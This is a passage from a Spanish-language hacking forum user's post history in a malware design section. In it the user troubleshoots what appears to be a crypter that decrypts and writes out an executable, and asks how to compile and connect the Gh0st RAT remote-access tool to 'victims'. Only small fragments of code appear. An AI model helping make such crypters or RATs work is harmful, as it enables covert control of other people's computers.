+=+ & x ' + sera = asimismo y x filecopy ruta1,ruta2 & "\" & + & "exe" ' sin comentarios pero aki metira el siguiente error: run time error "13" type mismatch y bueno decir que intente imprimir la variable despues de desencriptarla y en el msgbox me salia mzp o algo asin,cuando yo crei que deberia salir algo asin 00026030580. uso: msgbox (variabledesencriptada) y es cuando me sale el msgbox con lo de mzp,pienso que me estaria enseñando la cabezera. un salu2
|
|
|
10
|
Seguridad Informática / Análisis y Diseño de Malware / Re: [SOURCE] Gh0st RAT
|
en: 16 Octubre 2009, 22:49 pm
|
muy buena herramienta,si señor.lastima que no se c ++, por hay tenia microsoft visual c++, este sirve para compilarlo? es que me lio con tantos .cab.
y luego cometar que baje el binario para trastear la nueva herramienta y ver que tal anda,parece facil de comfigurar,pero no logro que conecte. el servidor al ejecurtalo se ha de borrar solo?
y dice un aviso de que falta un archivo algo asin como qqwry.dat para ver la localizacion de las victimas. yo solo veo un exe.
otra cosa fue que al arrancar la herramienta,ya me muestra mi ip donde la dns y le doy a probar y dice que conecta correctamente,pero si le canbio de puerto dice que no y eso que esta abierto.
bueno ya me direis un salu2
|
|
|
|
|
|
|